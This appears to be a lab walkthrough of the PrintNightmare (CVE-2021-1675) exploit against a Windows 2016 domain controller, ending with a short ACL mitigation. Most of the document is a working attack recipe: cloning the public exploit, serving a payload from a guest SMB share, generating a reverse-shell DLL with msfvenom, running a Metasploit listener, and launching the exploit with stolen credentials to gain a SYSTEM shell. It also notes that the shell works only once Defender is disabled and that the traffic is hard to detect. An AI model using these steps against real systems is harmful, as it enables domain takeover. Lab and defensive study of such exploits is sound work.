References:

https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution

The exploit code

https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py

Step1: Setup the Lab

1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is 10.0.0.77

Print Spooler service is running on the DC.

1 Kali Linux (AT) with IP address is 10.0.0.191.

Step 2: How to set up Kali

Upgrade Python

sudo apt-get update

sudo apt-get upgrade

sudo apt-get install python3-venv

1. The best practice is to create Python virtual Environment

python3 -m venv PrintNightmare

source PrintNightmare/bin/activate

2. clone the repo and install the custom Impacket version:

git clone https://github.com/cube0x0/CVE-2021-1675.git

git clone https://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

3. Set up SMB share

(Use this method to allow the Windows servers to download the malicious codes on AT machine)

copy the original smb.conf file and create a backup file

cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

now on the smb.conf change to this new configuration File

[global]

map to guest = Bad User

server role = standalone server

usershare allow guests = yes

idmap config * : backend = tdb

smb ports = 445 [smb]

comment = Samba

path = /tmp/

guest ok = yes

read only = no

browsable = yes

force user = nobody

Spin up SMB share: impacket-smbserver smb /tmp/

In case you have some problems with the SMB try to use build-in SMBD service

service smbd start

service smbd restart

4. Payload Creation:

Create Reverse shell Payload as a DLL

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR AT IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll

AT creates a reverse shell connection with IP address is 10.0.0.191 (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on /tmp/reverse.dll

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=10.0.0.191 LPORT=443 -o /tmp/reverse.dll

5. Set up a listener Use Metasploit tool to create a revere shell session (a listener)

msfconsole

use multi/handler

set PAYLOAD windows/x64/shell_reverse_tcp

set LHOST 10.0.0.191

set LPORT 443 run

6. Windows Environment:

you need to create a dc with an active directory (cisalab.local) create a low privilege user (test/123456)

7. Download and run shellcode

python3 CVE-2021-1675.py tle:123456@10.0.0.77 ‘\\10.0.0.191\smb\reverse.dll’

AT will create a connection to Windows server (DC1 – 10.0.0.77) with username/password is tle/123456.

Then the malicious code will be downloaded and run from the AT machine (\\10.0.0.191\smb\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.

Step 3. Live Demonstration

The shell code is running on the AT machine

python3 CVE-2021-1675.py cisalab.local/tle:123456@10.0.0.77 '\\10.0.0.191\smb\reverse.dll' 

The malicious code is downloaded but it is blocked by Windows Defender on Windows servers

So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.

If Windows Defender is disabled.

Run the exploit code again.

We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.

The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on “C:\Windows\System32\spool\drivers\”.

The shell code (reverse.dll) is successfully dropped on the folder named “3”. It may be a name when AT has created a reverse shell session.

Step 4: PREVENTION when the print spooler service is still running

Using PowerShell to create a ACL to prevent the malicious code to drop on the “C:\Windows\System32\spool\drivers\”

https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/

Before applying the ACL.

After implementing the ACL.

By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\Windows\System32\spool\drivers.

Run the exploit code again.

The trojan code cannot put its files on the directory (“RPRN SessionError: code: 0x3 – ERROR_PATH_NOT_FOUND – The system cannot find the path specified.”).

There is no trojan code has put on the directory.